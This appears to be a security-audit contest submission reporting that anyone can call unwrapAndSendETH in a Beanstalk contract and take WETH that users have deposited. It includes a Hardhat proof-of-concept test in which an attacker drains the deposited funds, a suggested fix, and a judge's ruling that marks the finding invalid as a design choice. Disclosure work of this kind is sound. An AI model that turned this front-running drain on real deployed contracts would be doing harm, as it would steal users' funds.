DeFiHardhatOracleProxyUpdates
100,000 USDC
View results
Submission Details
Severity: low
Invalid

Lack of proper access control can lead to loss of funds due to front-running.

Summary

The UnwrapAndSendETH contract is there to help users convert WETH to ETH, but this contract is not secure

Vulnerability Details

To use this contract, you have to deposit WETH into the contract first, then call the unwrapAndSendETH function. The problem is that this function is not secure and anybody can call it, after WETH has been deposited into the contract, thereby Stealing the Funds. An MEV bot may be monitoring the MEMEPOOl and in other exploit the user.

/// @notice Unwrap WETH and send ETH to the specified address
/// @dev Make sure to load WETH into this contract before calling this function
@-> function unwrapAndSendETH(address to) external {
uint256 wethBalance = IWETH(WETH).balanceOf(address(this));
require(wethBalance > 0, "Insufficient WETH");
IWETH(WETH).withdraw(wethBalance);
(bool success, ) = to.call{value: address(this).balance}(
new bytes(0)
);
require(success, "Eth transfer Failed.");
}

POC

  1. Alice wants to Unwrap 1000 WETH.

  2. Alice sends 1000 WETH to the UnwrapAndSendETH.

  3. Attacker calls the unwrapAndSendETH function passing their address as argument.

  4. Attacker gain 1000 ETH

  5. When Alice calls the contract are funds have already been stole

Create a file call UnwrapAndSendEth.test.js here https://github.com/Cyfrin/2024-02-Beanstalk-1/tree/main/protocol/test

copy the code snippet below and paste it on that file. Run the code with the following command

yarn hardhat test --grep "POC - Attack"
describe('UnwrapAndSend', function () {
it("POC - Attack", async function () {
const [alice, attacker, recepient] = await ethers.getSigners();
// deployments
const mockWeth = await ethers.deployContract("MockWETH")
const unWrapAndSendETH = await ethers.deployContract("UnwrapAndSendETH", [mockWeth.address])
const amount = "1000000000000000000000"
// Deposit 1000 ETH to get 1000 WETH
await mockWeth.deposit({value: amount })
console.log("------Initial Balance--------")
console.log("Alice WETH balance: " , await mockWeth.balanceOf(alice.address))
console.log("Alice ETH balance: ", await ethers.provider.getBalance(alice.address))
console.log("Attacker ETH balance: ", await ethers.provider.getBalance(attacker.address))
// Alice Transfers 1000 WETH to the contract
await mockWeth.transfer(unWrapAndSendETH.address, amount)
console.log("\n------Balance after Alice Tranfer 1000 WETH--------")
console.log("Alice WETH balance: " , await mockWeth.balanceOf(alice.address))
console.log("Alice ETH balance: ", await ethers.provider.getBalance(alice.address))
console.log("Attacker ETH balance: ", await ethers.provider.getBalance(attacker.address))
// Attacker sees that Alice has deposited into the protocol, so they call the unwrapAndSendETH function
await unWrapAndSendETH.connect(attacker).unwrapAndSendETH(attacker.address)
console.log("\n------Balance After Attack is completed--------")
console.log("Alice WETH balance: " , await mockWeth.balanceOf(alice.address))
console.log("Alice ETH balance: ", await ethers.provider.getBalance(alice.address))
console.log("Attacker ETH balance: ", await ethers.provider.getBalance(attacker.address))
})
});

Impact

Loss of Funds

Tools Used

Manual Analysis

Recommendations

The user should deposit and unwrapAndSendETH in a single Transaction. The token should be approved before calling this function.

- function unwrapAndSendETH(address to) external {
+ function unwrapAndSendETH(address to, uint amount) external {
- uint256 wethBalance = IWETH(WETH).balanceOf(address(this));
+ IWETH(WETH).transferFrom(msg.sender, address(this), amount);
- require(wethBalance > 0, "Insufficient WETH");
- IWETH(WETH).withdraw(wethBalance);
+ IWETH(WETH).withdraw(amount);
(bool success, ) = to.call{value: address(this).balance}(
new bytes(0)
);
require(success, "Eth transfer Failed.");
}
Updates

Lead Judging Commences

giovannidisiena Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

Pipeline access control

joshuajee Submitter
over 1 year ago
giovannidisiena Lead Judge
over 1 year ago
giovannidisiena Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

Pipeline access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.